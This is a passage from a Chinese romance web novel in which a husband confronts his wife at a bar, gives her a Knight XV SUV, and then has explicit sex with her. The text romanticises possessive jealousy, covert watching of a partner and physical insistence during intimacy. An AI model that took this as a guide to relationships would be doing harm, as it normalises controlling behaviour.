所以他要怎么回才能让她果断又决绝地离开这个让他醋意疯狂滋长的地方 眼神在她身上游离片刻后,陆时聿起身离开卡座。 江棠梨等得手指不停磕在冰凉的大理石台面。 这人怎么还不回呀? 是觉察到不对劲还是不满意她的回复,等着她再给一点甜头呢? 眼眸乱转间,屏幕上跳出来一行字—— 「如果我说我们之间的距离很近,你相信吗?」 距离很近? 江棠梨心脏一紧。 这人该不会跑去她家了吧? 江棠梨几乎来不及多想,抓起包就往外跑。 “梨梨,你去哪呀——” 第44章 江棠梨哪里顾得上方以柠,一口气跑到了门口,视线刚一落到对面她那辆粉色的大G,就被旁边的庞然大物震在了原地。 竟然是一辆只耳闻却没有亲眼见过的骑士15世。 那令人震撼的体积直接让她“哇”出一声,和旁边那辆大G一比,它简直如同一个巨大的保险柜。 目光一寸一寸掠过粗狂霸气的车身,江棠梨往前迈的步子都被放慢了。 从视频看到的威猛和现实一比,竟然如此的不值一提。 这要是坐进去,视野得开阔成什么样? 凝眸间,一道黑影从她眼前掠过,不等她反应过来,整个人就被举抱过地面。 吓得江棠梨双手锤下:“喂,你谁啊!” 周围已经有不少双眼睛看过来。 江棠梨只觉得面前一阵天旋地转,还没反应过来,自己就被抱坐在了那辆骑士15的车前盖上。 看清面前的人脸,江棠梨惊讶到身子往后一躲:“你、你怎么” 江棠梨还以为自己出了幻觉,抬头,正对着酒吧大门。 所以他说的距离很近,不是等在她家门口,而是酒吧门口! 陆时聿双臂撑在她身体两侧,灯红酒绿被他挺拔的身影笼罩在身后,却遮不住他眼底克制的薄凉。 可江棠梨即便是居高临下地俯视着他,却也依然能感受到他迫人的气势,正四面八方地笼罩着她。甚至比身下这辆庞然大物都要震慑人心。 当然,她心里跟明镜似的,知道陆时聿为何而生气。 悄悄一个吞咽后,江棠梨压下满腔的心虚,娇着声儿地岔开话题:“不能坐别人的车,被看见了——” 只是不等她说完,话就被陆时聿打断:“你坐,就是你的。” 江棠梨彻底愣住了。 她坐就是她的? 哪有这种歪理? 江棠梨双手撑着掌心下冰凉又坚硬的金属想往下滑,可是膝盖被他胸口抵着。 “你快放我下来,万一车主来了” 见她眼神乱瞄,陆时聿抬手捏住她下巴,将她的脸扳正,让她的视线里只有他。 “心虚什么?” 怎么能不心虚,长这么大,只有被人坐她的车,她何曾—— 不对! 江棠梨后知后觉反应过来他说的「心虚」是另有所指。 不能怂,绝对不能怂! 可是她现在何止双脚悬空,心脏也一整个地悬着。 “你就这么想让我丢人是不是?”她嘴巴一噘,音带控诉。 陆时聿却不为所动,原本撑在车上的手搂上她腰。 “坐自己的车,怎么就丢人了?” 自己的车? 难不成这车是他的? 江棠梨眼皮跳了一下。 如果是这样的话,那她刚刚理解错他的暗意了? 他没有因为她撒谎而生气? “喜欢吗?”陆时聿眼神往旁边短暂一掠后,又回到她脸上。 江棠梨只觉心脏“咚”的一声。 “送、送我的?” “不然呢?”陆时聿眉梢一挑:“我还有第二个女人可以送?” 随着他话音落地,江棠梨猛然一扭身。 可是高兴不过两秒,她就苦着一张脸转过来:“开这车,是不是需要B照啊?” 再多的醋意都被她满是哭腔的声音给淹没了。 陆时聿搂着她的腰把她抱下来,却没放到地上。 沉重的车门打开后,陆时聿双手一举,将她放到副驾驶里,不等江棠梨扭头去看车厢内饰,后颈就被强劲有力的指掌扣住了。 江棠梨几乎半个人都被拉出了车外,猝不及防就要跌到他怀里,却被他的吻接住。 起初的吻还温柔又克制,但是当他尝到了她唇齿间清淡的酒气,被他强压于心底的酸,被他努力克制的占有欲,全部被强行拽出。 吻越来越深入。 不知名的潮涌逐渐淹没了他的理智。 他吻她几乎发了狠。 而他原本有些凉的唇,因为带了掠夺,用了力道,犹如潮热的雨林,湿热里带出野性的蛮横。 香津浓滑随着他入侵的舌而横扫缠绕在她的舌面,强烈的男性荷尔蒙气息,带着不容置喙的压迫,直面横冲而来。 残留的一点意识里,江棠梨伸手去推他,却被他反手握住而扣于身后。 偏偏这种反抗不成会让人兴奋,给人以刺激,也让人意识空白。 江棠梨被他吻得全身发麻,脑袋晕乎乎的,不知是反抗不成还是迷失在他的强势霸道里,江棠梨逐渐放弃了挣扎,条件反射般地回吻回去。 也正是因为她的主动,一点一点消磨了陆时聿的强势。 握着她后颈的指掌稍稍松了力道,带着安抚,指腹摩挲着她发烫的皮肤,感觉到她呼吸不畅,他收回自己横冲直撞的舌,啄吻在她唇上,等她缓过来,他又开始进攻。 若不是他有心让着她,江棠梨很难在他这里拿到主动权。 不管是床下,还是床上。 但是江棠梨是属于入戏慢,出戏也慢的人。 偏偏陆时聿深知她这个短板,所以在江棠梨开始追着他吻上来的时候,陆时聿把脸往后一躲。 江棠梨吻了个空。 虽然口红已经被陆时聿吃了个干净,然而她的唇却比涂了口红还要娇艳。 视线从她的唇一点一点掠到她眼,陆时聿唇角一提:“还没亲够?” 江棠梨半个身子都倾在车外,所有的重心都压在攀着他肩膀的两只胳膊上,以至于她想勾身回去都无能无力。 当然,若是陆时聿使坏,江棠梨也势必会栽下去。 但是江棠梨料定他舍不得。 所以使坏的人变成了她。 感觉到她撑力的臂肘往下一软,陆时聿来不及多想,瞬间往前迈了一步。 原本可以借力坐回座椅里,但江棠梨又一秒改变了主意。 攀在他肩膀的两只胳膊抱住了他的脖子,江棠梨低头在他唇上“mua”出一声。 “就没亲够,不行吗?” 陆时聿偏开脸笑了。 但是江棠梨并没有完全放松警惕,毕竟在酒吧门口被他逮到就等于拆穿了她短信里所有的谎言。 偏偏他从始至终一字不提。 哪怕回去坐着另她无比激动和兴奋的骑士15世,江棠梨都丝毫没敢把情绪表露出分毫。 在她不知多少次余光偷瞄后,陆时聿忍不住失笑一声:“有话就说。” 是让她主动招供的意思吗? 可是他都没生气,更没发火,或许是这点小谎对他来说不值一提,已经抛到脑后了呢? 那她再提,不是没事找事吗? 江棠梨弯下眉眼,故作羞怯地又用余光瞄了他一眼:“就觉得”她抿了抿唇:“你今晚好帅!” 不跟她算账就好帅,若是算了呢? 怕是这帅就变成了丑。 陆时聿无声失笑:“哪里帅了?” 江棠梨天生一张张巧嘴,若是真想夸人,能把人夸到灵魂出窍,可是坐在她旁边的男人不是一般人,可不是三言两语就能让他忘了自己姓甚名谁。 江棠梨抛开所有浮夸的形容词,一边低头抠着手指,一边用羞羞的软音咕哝着:“反正就很帅~” 红灯,车稳稳停下。 陆时聿歪头看她。 低垂的眉眼,似咬似吮着唇肉,下意识勾缠手指的动作。 如果这些都是她为了分散他注意力的伎俩,那只能说她江棠梨在哄人方面真的太有手腕了。 可是不管哪种,对陆时聿来说都不重要。 他这人,一向重结果,至于过程 陆时聿很轻地笑了声:“晚饭吃了吗?” 江棠梨这才轻掀眼皮正大光明地看了他一眼,“吃了。” “吃了什么?” 反正也没有比在酒吧被他逮到还要严重的。 江棠梨实话实说:“在对面的烧烤店吃的。” 她重点强调:“就我和方以柠两个人。” 倒是没有说谎。 陆时聿朝她勾了下手,江棠梨忙把自己的手递过去。 陆时聿包着她的手放在变速杆上,中控距离有点宽,江棠梨不由得往中间坐近了一些。 她看着方形的变速杆,不由得“哇”出一声:“感觉像是一个推土机。” 绿灯亮,沉重的车身缓缓起步。 陆时聿问:“是给你放在京市开,还是——” “当然是带回海市了!” 她这一个星期才能回来一次的人,把这么贵重的家伙丢在京市,岂不是可惜。 说完她又叹气:“可惜我不能亲自开。” “回去增到B照不就行了。” “B照诶——”江棠梨突然停顿了一下,视线从他握着方向盘的手抬到他脸上:“你是B照啊?” “不然呢?”陆时聿回望她一眼。 江棠梨嘴巴张了张:“那你岂不是客车和公交车都能开?” 陆时聿失笑:“那是B1。” 江棠梨愣了两秒:“所以你该不会是B2?” 见他点头,江棠梨说不出是惊还是吓:“所以那些重卡你也能开?” 能开是一回事,会开是另一回事,只是不等陆时聿开口—— “我的天呐,”江棠梨近乎尖叫:“你也太厉害了吧?” 从未想过会因为一个驾照被她如神邸一样地看着。 也正是她的眼神里,让陆时聿回味过来她之前夸他帅并非本心。 或者说,在她心里,再帅的一张脸都不如一张B2的驾照更有含金量。 陆时聿很是无奈地笑出一声气音:“你关注的点,真的很特别。” 特别到,在她那双看过来的霍亮的眼睛里,他已经无法再狠下心来跟她秋后算账。 想想,其实倒也没什么。 只不过是在舞池了跳了半小时的舞,既没有喝酒喝到酩酊大醉,也没有和别的男人暧昧传情,况且还是在自己的酒吧。 陆时聿就这么被自己说服了。 只是原本打算开去雍锦一号,竟无意识的、不知不觉开进了欧菲庄园。 江棠梨也是一路没注意,左摸摸又看看,再一抬头,车都开到自己家门口了。 “你怎么带我回这儿来了?” 陆时聿解开安全带:“这趟回来的目的不就是多陪陪父母吗,第一天晚上就把你带走,不好。” 江棠梨:“” 谁要他这个时候的温柔体贴和细心呐,这要是被爸爸看见 刚低头看一眼时间,厚重的车门就被陆时聿打开了。 他轻轻一击掌,“抱你下来。” 注意力就这么被他分散了。 江棠梨嘴角抿笑,整个人的重量往他怀里一扑。 一直到门口,陆时聿才把她放下来,“时间已经很晚了,一会儿进去声音小点。” 哪里需要他提醒,江棠梨恨不得双脚不落地就飞上三楼。 朝他比了个“OK”的手势后,两人轻着声儿地穿过院子,不见二楼亮灯,江棠梨这才松了口气。 “明早我们早点走,尽量赶在我爸妈起床之前。” 陆时聿皱了下眉:“为什么?” 当然是避免被老爸问出些不该问的。 “我这不是回来后还没有去看望你爸妈吗,明天再不早点去就太不像话了。” 搂在她肩膀的手抬起,陆时聿揉了揉她发顶:“什么时候这么懂事了?” 只是没想到,两人刚踩上二楼平阶,就撞到江祈年从房间里出来。 三个人几乎同时停步在了原地。 一身浅灰色睡衣的江祈年看了眼陆时聿,眼睛眨了两下后,又看向江棠梨。 “你不是说晚上在时聿那边过夜的吗,怎么又回来了?” 听到这话,陆时聿蹙眉看向旁边的人。 江棠梨怎么都没想到自己会因为爸爸的一句话被打回了原形。 这就是所谓的「人算不如天算吗」? 她强扯嘴角,“就、就突然想回来了。” 陆时聿目光深深地望着她。 以为她只是贪玩,充其量是晚归,却没想到她打的是一夜不归的主意。 陆时聿牵着她手的手忽而一用力。 江棠梨只觉心脏被攥紧了。 生怕她这个老父亲再掀出她其他什么老底来,江棠梨抱着陆时聿胳膊就把他往楼上拽,一边拽,一边回头:“爸,我们去睡觉了啊~” 睡觉 江祈年只觉喉咙被什么卡住,再想开口,人都没影了。 陆时聿几乎没怎么主动迈脚就到了三楼。 穿过黑胶唱片装饰的廊道,还有各种水晶摆台和相框的起居室,以为她会直接带自己去卧室,却没想—— 江棠梨把他按坐在沙发里:“你先在这坐一会儿,我去给你拿睡衣。” 陆时聿抓住她手腕,把人往怀里一拽。 感觉到他绷紧的大腿肌肉,江棠梨几乎都不敢把所有的重量往下沉。 陆时聿视线紧锁在她脸上,两三分的探究之外,余下的全是等她主动招供的耐心。 偏偏她双唇抿抿合合就是不出声。 陆时聿屈起食指,用着既轻又缓的力度抬起她的下巴。 直到视线与她相交。 “两边一块瞒着,”他声音裹着清淡的笑,“你倒是会骗。” 江棠梨只觉得后脊窜出一阵阵的凉气。 “没、没有” 陆时聿却仿若未闻,“如果今晚我没有出现,你准备睡哪?” 天大地大,还能没她一席之地吗? 再说了,她钱包鼓鼓的,何止是一席。 可腹诽是腹诽。 江棠梨两手抱着他胳膊,悄无声息地把他的手往下拉:“我还能去哪啊,当然是回家了。” 知道他在意的是爸爸的那句话。 江棠梨忙解释:“我之所以说去你那住,只是不想被他秋后算账,没别的意思。” 陆时聿嘴角携一缕玩味的笑:“你就不怕我知道了,跟你秋后算账?” 江棠梨:“” 所以说人算不如天算,谁知这谎会在这么短的时间里一而再地被拆穿。 所以她除了赔着笑脸,说说软话之外 倒也不是没有别的办法。 江棠梨搂住他脖子:“我爸怎么能和你比,他是什么都不问一味地管着我,你不一样,你是讲道理的。” 但是他今晚也不是很想讲道理。 陆时聿很轻地笑了下:“所以我在你心里印象很好?” “何止是很好,是顶好极好,再也没有人比你更好了!”夸完,她还不忘亲了他一下,“别生气了~” 拖腔带调的不说,还晃着他的肩膀。 陆时聿好整以暇地盯着她看,也不说话。 虽然惹他不高兴已经不是第一次,但是这么低三下气地哄他,却是史无前例。 要不是那几条短信让她愧疚难挡,江棠梨都想点在他胸口,警告一句:有个差不多就得了。 可是她现在理亏又心虚,腰杆都挺不直。 “老公~”她豁出去了似的,唇沿着他的下颚线往耳廓吻,“都好晚了” 她鼻息间的热息让陆时聿条件反射地偏了下脸。 江棠梨一愣。 他竟然躲。 自己都主动成这样了,他竟然躲! 哪还有半点的低三下四、委曲求全,江棠梨把他脸往自己面前一扳,动作强硬,声音却是软的。 “上午问你,从你吻技就能看出来你没少谈过女朋友,我记得当时你好像还没回答吧?” 她话题的跳跃,让陆时聿眉心一卷,视线从她看似春水一般的眼睛到她嘴角的笑。 这是想借机将今晚的事翻篇? “说吧,”江棠梨指尖轻轻在他下颚线打着圈,“亲过多少?” 陆时聿一改刚刚的茫然,温润的声音带着笑:“你希望是多少?” 诡计多端的男人! 竟然还不答反问。 江棠梨把自己的重量沉进他怀里,带着他一起往后靠,“我要你说。” 可是他不说。 江棠梨在他怀里扭了扭腰:“只要你实话实说,我保证不会生气的。” 怕是这个时候不管他怎么回答,都会成为她故意生气的理由。 陆时聿扶着她的腰,“那你呢,亲过几个?” 以陆时聿对她的了解,就算一个没有,她也会逞能地说出一两个来。 但是他猜错了。 “我在你心里就那么随便?”江棠梨在他怀里坐正了:“你就是这么看我的?” 她声音里满是委屈的控诉,让陆时聿一时来不及深想其他。 “你想哪里去了,我怎么会觉得你随便——” “那你还问我亲过几个?”她眼说红就红了:“我所有第一次都给你了,你还问我这种话!” 她“呜”的一声站到了地上:“陆时聿,你没良心!” 说完,她身子一转。 陆时聿后知后觉她是在借机反将他一军。 可即便是反应过来,他也坐不住了,几个大步追去了卧室。 眼看江棠梨背身往床上一趟,还带出了呜咽声,陆时聿单手撑着床垫,另手晃了晃她肩:“梨梨?” 江棠梨肩膀一抖,“别碰我!” 气呼呼的声音里带着浓浓的哭腔,陆时聿压下嘴角的笑,几分蛮力加上巧劲,将她翻过身来。 只是没想到,将她脸上的头发勾到耳后,却发现她眼睫是湿的。 竟然还真哭了。 心突然就软了。 “为这点小事掉眼泪——” “小事?”原本还只是低低的呜咽,被他这么一说,江棠梨直接“呜哇”的一声,“你竟然、竟然说这是小事” 虽说她眼泪是真的,而他心疼也是真的,可这拙劣的哭戏是真的有待提高。 “和你的眼泪比起来,还有什么能称得上大事?” 哭声突然就止住了。 江棠梨眨着她那双湿漉漉的眼睫,一边抽噎着,一边看他。 原来吃甜言蜜语这一套。 这是陆时聿没有想到的。 像是额外惊喜,陆时聿低头吻在她额头,跟她秋后算账:“我单身三十年这个事,应该不算秘密吧?” 江棠梨当然听说过不止一次,只是道听途说来的,真假度有待考究。 “那你怎么那么会亲?” 很会吗? 若不是她几次提到这事,陆时聿丝毫不这么认为。 他低头,唇贴着她唇:“有多会?” 不知道是不是自己刚哭过,显得他唇凉凉的。 像是盛夏里的冰块,让哭出汗的她,忍不住想贴得更近、更紧。 可是相比清凉的温度,滚烫才更让人上瘾、甚至失控。 脉搏向上的两只手腕被他掌心圈着压着,在松软的枕头里抵出两顶深深的漩涡。 血液回流不畅的感觉,以为会不舒服,没想到却是酥酥麻麻的。 可是血管连通全身,又让她分不清那隙在她骨头缝的酥麻到底来自哪里。 只觉得手指无力,脚心泛痒。 还有后颈,还有腰窝,哪哪都舒服,却又哪哪都不舒服。 听到她哼出的音,陆时聿吻她颈窝的动作停了一瞬。 接着,是一声很沉很哑,略有绷紧的笑。 把江棠梨的脸笑出了难消的热度,她在他怀里拱了拱腰,“再笑你就睡沙发。” 陆时聿在她颈窝里抬头,又在她脸前低头。 鼻尖若有似无地蹭着她鼻尖。 湿湿的,沁出了细密的一层汗。 但是没有他指腹湿润,更不及捻起来那般黏滑。 “那你呢?”他说话时潮热的呼吸自上而下笼罩着她:“要不要跟我一起?” 江棠梨把脸一偏:“不要。” “不要”陆时聿轻咬她唇峰:“真不要还是嘴硬不要?” 江棠梨这才后知后觉他的一语双关,想抬起手腕砸他一拳,奈何还被他压在掌心下,动弹不得。 真以为她拿他没办法了吗? 江棠梨拱起腰上下一蹭。 见他呼吸猛然一沉,江棠梨得逞地抬起下巴,只是没想到,下一秒,他的吻就如同三月春的雨一般,密集地落下。 长到膝盖的裙摆一褶一褶地被堆高。 吻带出的透明水痕留下丝缕清凉,又被贴紧的皮肤化出一片滚烫。 陆时聿抱着她,深埋她侧颈的脸抬起时,谷欠火正浓的一双眼,没了平日里的温和,也没有礼貌待人时的距离。 一开口,他声音像是被克制烧哑了。 “用月退好不好?” 第45章 “用月退好不好?” 见他水润润的眸子在转,陆时聿吻在她唇角:“没有套。” 江棠梨顿时一恼:“买了那么多,你就想不起来带一个回来吗?” 陆时聿低低笑了声:“真要带的话,你觉得一个够吗?” 江棠梨:“” 突然想起那天晚上。 虽然只有一次,可是中途他换了好几个。 “可是你刚刚说用”她咬了咬唇:“要怎么用?” 她无辜的表情看得人心痒难耐。 陆时聿低头一边吻她,一边将她两条退并拢。 足齐身进去后,他低哑的声音隙进她唇角。 “荚紧。” 江棠梨脸红着,视线却紧紧缠在他脸上。 真的除了她,再也没有第二个女人看过他这种蛊人心痒的表情了吗? 这种窃喜来的虽慢,却很汹。 江棠梨仰头含住他锋利的喉结。 刮着、啄着、再若有似无的吮一吮。 把陆时聿的呼吸都弄乱了。 “梨梨——” “喊我什么?” 陆时聿睁开眼看她,默了两秒,他垂眸失笑,“宝贝?” 见她眉眼弯了,陆时聿笑出很沉的一声:“喜欢我这么喊?” 这个世界上应该没有哪个女孩子会拒绝这种昵称吧。 更何况,是绝无仅有的例外。 江棠梨低头往下看。 只一眼就让她羞赧到咬唇。 抬头,对上他眼底浓墨重彩的谷色。 明明很难为情,却又忍不住把两只膝盖并拢得更紧。 原本冰凉的腿,被他的热度一烫,再反复摩擦。 有种近乎灼烧的烫感直达大脑皮层。 不好意思抬头,更不好意思低头,像是没辙了,江棠梨索性把脸藏到他怀里。 虽然她看不见头顶的人反复吞咽的喉结,但是能听见从他嗓子里闷出的声音。 蘼人耳廓,勾人心痒。 后背沁出了汗,却抵不过身体里的潮湿。 江棠梨两臂被屈着贴在他胸口,圆润的指尖在他皮肤里压出一弯一弯的指甲痕。 黏黏的,说不出来是舒服还是难受。 江棠梨忍不住在他怀里咕哝了句。 声若蚊蝇,陆时聿没听清,低头去吻她的脸:“什么?” 江棠梨不好意思说,以至于声音里带着几分控诉似的:“你怎么什么都会~” 可他明明说他没有过别的女人。 一想到他或许是哄她骗她,江棠梨就觉得心头像是拱了把火。 又气又嫉妒,想把身体往后,想让他力气落空,可又舍不得似的。抬头,对上他眼里扎牙舞爪的欲色,心一横,张嘴咬住了他下巴。 丝毫没收着力的双齿,让陆时聿眉心轻褶,但又忍不住被她酸溜溜的语气和惩罚似的动作惹出一声笑音。 “听过一句话吗?”他任由她撒气:“在喜欢的女人身上,再没有经验的男人都会天赋异禀。” 也会贪得无厌。 被解开丢在一边的手表,时针转了大半个圈,在怀里的人带着哭腔的控诉里,陆时聿低头看了眼。 已经磨红了。 他不忍心,却又没有过瘾,索性拉住她的手, 就像看见自己喜欢的裙子,看了一次还想看第一次,看了一眼还想看第二眼。 江棠梨也不知道自己到底是出于好奇还是喜欢,低头,一边动作一边盯着看。 狼藉又性感。 颜色很干净,和他的人一样,有着冷白的禁欲色,可是又很凶,在她身上从来都不曾温顺过。 但是主动权到了自己手里,像是可以被她完全随意地支配。 没了第一次时的紧张、茫然和不知所措。 这次她格外起兴。 心跳在胸腔里乱七八糟地横跳着。 窗外像是起了风,可江棠梨却听不到,耳边全是他的声音。 让人不自觉得听红了脸,江棠梨抬头捂住他嘴,结果指尖却被他张嘴含住。 吞口吐的动作让江棠梨不止脸红,眼睫更是颤得厉害。 她不好意思看他了,收回手,把他口水擦到他身上。 “这就嫌弃了?” 他故意似的:“我连你——” “啊!”江棠梨尖叫一声,“不许说!” 一激动,手里的力度就没了轻重。 陆时聿低头咬在她肩膀,口耑出重重的一声。 窗外的风声越来越嚣张,可对于江棠梨来说,却一整个世界里都是他。 他上下滚动的喉结; 他卷紧的眉心; 他不自觉往上抬的腰; 他滴在她锁骨上的汗; 还有她一声“老公”后,他终于克制不住的 湿淋淋的一兜滚烫,冲出来。 江棠梨搂着他脖子,透亮的一双眼,映着他发红的眼底:“舒服吗?” 似乎是没想到她会这么直白,陆时聿先是一愣。 “说话呀!” 的确是比第一次要好一点,但是那速度,压根不给他喘息停顿的机会。 可是媚眼如丝的一双眼,期待太深。 陆时聿低头吻了吻她的唇:“舒服。” 得了夸,江棠梨沾沾自喜的表情根本收不住。 “所以不止你一个人天赋异禀。” 生动的表情,傲娇的语气,可爱得不想从她身上起来。 可是时间真的很晚了,而且明天上午他还有一个早会。 陆时聿抱她去了浴室。 水声响在耳边,江棠梨却突然想起那几条短信。 从第一条问她睡了吗,到想她了,再到说和她距离很近,前后加起来也就十几分钟。 但是无论他从公司到酒吧,还是从雍锦一号到酒吧,时间都远远不够。 所以他是一早就知道她在酒吧,又或者早就等在了酒吧,至于那些短信 难道他是躲在酒吧某个昏暗的角落,一边监视着她的一举一动一边给她发的? 想到自己今晚在舞池里毫不收敛的动作,江棠梨顿时倒吸一口气。 而她胸口的起伏,也让陆时聿掀起眼皮看她,“怎么了?” 江棠梨的思绪被拉了回来。 略有失神的一双眼也缓缓抬到他脸上。 表面温润清隽、清风霁月。 实则阴湿深沉,满肚子坏水。 江棠梨眼角微眯。 这种人,怕是拿着刀站在一个死人旁边,别人都不觉得他是凶手。 亏她还因为撒的那些谎对他心生愧疚。 越想越生气。 偏偏看着她的那双眼,满是餍足后的笑意。 江棠梨眉梢一压,朝他走近一步。 脚尖踩到了他脚尖,陆时聿条件反射地往后一退。 后背抵在了水龙头上。 水声停了的同时,她的声音也被放大在水汽氤氲的浴室。 “你是什么时候到酒吧的?” 原来她刚刚一直默不出声是在想这件事。 但是她既然能这么问,想必是捋出了不对劲。 陆时聿不露声色地朝她一笑:“要不要先出去?” 江棠梨眼角一眯,“你少跟我拖延时间!” 说完,她又往前走了一步,这次,哪怕她半只脚都踩在他脚背,陆时聿也依旧纹丝不动地站着。 眼看他眼尾弯出两三分的笑痕,江棠梨顿时气不打一处来。 “你还笑?” 他不止笑,还笑着一把将她从地上抱起。 “喂!”江棠梨双手砸在他肩膀:“放我下来!” “我警告你,你再不松手,我就喊人了!” “陆时聿!” 双腿被他并拢而抱,江棠梨连蹬脚的余地都没有,只剩攥成拳的两手砸在他肩膀。 却见他连眉头都不卷一下。 都怪他,把她的手腕都弄酸了,不然也不会像现在没力气。 可抱着她的人却有着一身都使不完的劲。 将人往床上一扔。 江棠梨只觉得整个人在松软的床垫上弹跳了两下,不过一个眨眼的功夫,就见站于床边的人,已经用浴巾裹在了腰腹。 而她,却还一丝不—— 江棠梨忙去拽旁边的毯子,然而手刚伸出去,一团黑影就自上而下欺压笼罩下来,吓得江棠梨眼睛都睁圆了。 “你、你干嘛?” 陆时聿一只膝盖抵床,双手撑于她身体两侧,居高临下的目光虽暗,却一眨不眨地盯着她。 “所以那条也想我的短信是假的?” 江棠梨一愣。 只见他那双漂亮的桃花眼锐利如刀,欺笼而下,仿佛心中的所思所想都无所遁形。 也不自己怎么就怂了,江棠梨悄悄吞咽了一下:“怎、怎么会。” “那是真的?” 江棠梨想都不想就下巴直点:“当然是真的了。” 像是满意了她的答案,陆时聿丝毫不藏着眼底的欢喜,唇角一弯。 却把看得江棠梨微微一怔,正失神,听见他说—— “想不想试试那辆车?” 原本撑着床垫的两只臂肘还有些发软,听他这么一说,江棠梨顿时直起背。 只是力度没控制好,一挺腰,唇磕到了他唇,不等江棠梨条件反射地往后躲,面前的人就追着吻了过来。 很温柔的一个吻,带着几分江棠梨没有察觉到的诱哄。 陆时聿一边吻着她,一边把她从床上抱了下去。 哪还有心思再去盘根究底那些短信,江棠梨连穿内衣都觉得浪费时间,就这么裹着一件风衣,蹑手蹑脚从下了楼。 陆时聿手被她牵着跟在她身后,看着她又是勾肩又是弯腰的姿势,偷感很重,却又莫名可爱。 “没事——” 他刚一出声,江棠梨就立马扭头朝他“嘘”了一声。 出了门,江棠梨扔下身后的人,一溜烟地穿过暗影婆娑的院子。 人都坐到主驾驶了,才见陆时聿慢慢悠悠地走出来。 江棠梨落下车窗,压着声地朝他喊:“你快点呀!” 然而却见他走到自己这边,江棠梨两手扒着车窗:“你去副驾驶呀。” 陆时聿怎么可能让她亲自驾驶这辆车,他拉开车门,朝她抬了下手:“站起来。” 站起来? 江棠梨抓着方向盘,不明所以地抬起屁股。 见他踩脚坐进来,江棠梨这才反应过来。 “你坐这,我还怎么——” 话还没说完,人就被陆时聿按坐在了他身前。 江棠梨:“” 这人该不会是要坐在她身后,手把手地教她吧? 江棠梨眉心卷着,扭头看他:“我会开!” 陆时聿当然知道她会开,但是他吻:“你有驾照吗?” “我当然——” 话说到这儿被她自动掐断了。 可她委屈,“那你还说让我试试。” “让你试,但没说让你开。” 江棠梨嘴巴都快噘成小鸭子了:“早知道是这样,我就不下来了!” “那不然等你拿到B照再来?” 我的天呐,那得等到什么时候? 所以这人干嘛不等到她B照到手了再把这辆车送她? 现在好了,能看能摸能坐,就是不能开上路的感觉 江棠梨扭头就去瞪他,谁知眼里的刀子还没落到他脸上,唇就被他啄了一下。 “就不能满足一下老公的虚荣心?” 满足他的虚荣心? 本来不懂他的意思,随着空荡荡的风衣被他有力的手臂圈紧,江棠梨肩膀微微一缩。 他的意思是,被他这样抱着开车,是在满足他的虚荣心? 男人的虚荣心这么奇怪的吗? 当然,这不是重点。 重点是这样的姿势开车是江棠梨从未体验过的。 而且这种感觉一旦生成,注意力就难以集中了。 握着方向盘的手被他的指掌覆着不说,档位杆上的手也被他的大掌全方位覆盖。 还有腿。 从风衣衣摆里露出的两条腿冰凉冰凉的,可是被他的腿从外贴着、抵着。 不止,还有他温暖的掌心,滚烫的胸膛。 四月的天,夜风清凉,车厢里也凉凉的。 可是他的温度却四面八方地笼罩着她。 江棠梨想到那天晚上,他也是这样,身体的滚烫,四面八方地涌向她,尽管很凶很霸道,可也会照顾她的感受,特别是前戏 想起当时他勾身回来,鼻尖沾着的水润晶莹,还有他把肩膀递到她嘴边说的那句:疼就咬我。 空荡荡的风衣里像是蹿进了一股热浪。 要不是两只手都被他的大掌包裹,江棠梨真要试一试脸上的温度,是不是可以煎熟一片鸡蛋了。 陆时聿护在她身后,对她的早已走神的思绪一无所知。 “等你拿到了B照,真正体验了这个车,觉得不喜欢,再给你换乔治巴顿。” “乔治巴顿?”江棠梨神走得快,回得也快,“那个美式大块头? 陆时聿在她身后点头。 但是江棠梨却皱眉了:“那车的外观哪有这个好看!” 没想到第一次送她车竟还送到了她心坎里。 不过站在男人的角度,陆时聿却说:“但是驾驶体验肯定要比这辆车要轻便一点,而且后座座椅功能更多,也更舒适。” “我自己开又不坐后面——” 话说到这儿突然停了。 这人该不会还想跟她在车里试试? 听出她话有中断,陆时聿下巴轻磨着她的头顶:“怎么了?” 江棠梨把脸侧过来几分,“海市有没有那种到了晚上,既没有路灯,也没有人经过的地方?” 如果她眼睛里没有含羞带怯,甚至在问完之后没有咬唇,陆时聿还真的不会想歪。 然而当他余光往后座瞥过去一眼后,却又岔开话题:“驾照这几年有扣分吗?” 注意力就这么被他分散了。 江棠梨声音满是沾沾自喜:“说了你可能不信,我从拿到驾照到现在,一个违章都没有!” “那是挺厉害的。” 当然,也可能是开少了。 车在小区里绕了一个圈,再回来,陆时聿说到了另一件事。 “要不要把户口迁到我这里?” 见她扭头看过来的脸上,眉心卷着,陆时聿解释:“不然就只能在户口所在地增驾。” 江棠梨被意外到了,“你不是京市户口吗?” “去年年底迁到了海市,”陆时聿低头在她的脸上亲了亲:“不想和我一个户口本?” 江棠梨扁了扁嘴:“不是” 就是觉得他是醉翁之意不在酒。 看出她的犹豫,陆时聿唇压在她发顶,“每天回家都想看见你而已。” 车在门口缓缓停稳,陆时聿把脸倾到她肩膀,“还是说,你想和我分隔两地?” 增驾而已,又不是学车也要回来。 可是被他一反问,江棠梨忙反驳道:“哪有!” 陆时聿把座椅往后调出空间,将她侧抱到腿上:“那回去我就让人去办,办好之后就给你增驾。” 本来还想在京市多留几天的,听他这么一说,江棠梨忙搂住他脖子:“那我们什么时候回去?” 这会儿又急不可耐了。 陆时聿把手伸进她风衣里,“不想再多陪爸妈两天了?” 带着几分惩罚的力道,他指腹揉捏的力度不轻,江棠梨吃痛一声:“你干嘛~” 七八分的羞恼盖过了两三分的控诉,也暂时压下了陆时聿今晚并没有完全消下去的醋意。 他收回手,故作沉想的同时,将她的风衣衣摆盖过膝盖,“尽量周四吧。” 周四?而且还是尽量。 江棠梨肩膀一塌,搂着他的肩膀晃了晃:“不能早点吗?” 陆时聿抬头看她,故作为难:“那后天?” 见她还是不情不愿,陆时聿抬手在她囊着的鼻骨上刮了一下:“那你想什么时候?” 能让他在京市停留这么久肯定是有公事,江棠梨可不想自己成为红颜祸水。 “我可以自己先回去。” 陆时聿气笑一声,脸一偏:“就为了这家伙,老公都扔下不管了?” 江棠梨嘴一噘,瞥他一眼:“那你忙起来,我好无聊。” 无聊吗? 陆时聿觉得她一点都不无聊。 起码她在酒吧里跳得最起劲的时候,巴不得他能忙到不眠不休。 但是他手里的确是有几件公事要处理。 可是让她在这边待着,他又不放心。 带她去爷爷那边,长辈太多,又担心她不自在。 “要不要跟我去公司?” “跟你去公司?” 陆时聿勾着她的风衣腰带:“有你在一旁督促,我的工作效率或许会更高一点。” 江棠梨被诱惑到了:“能高多少?” “或许”陆时聿停顿了一下:“明天就能忙完——” “好!”江棠梨想都不想就应了下来:“我去!” 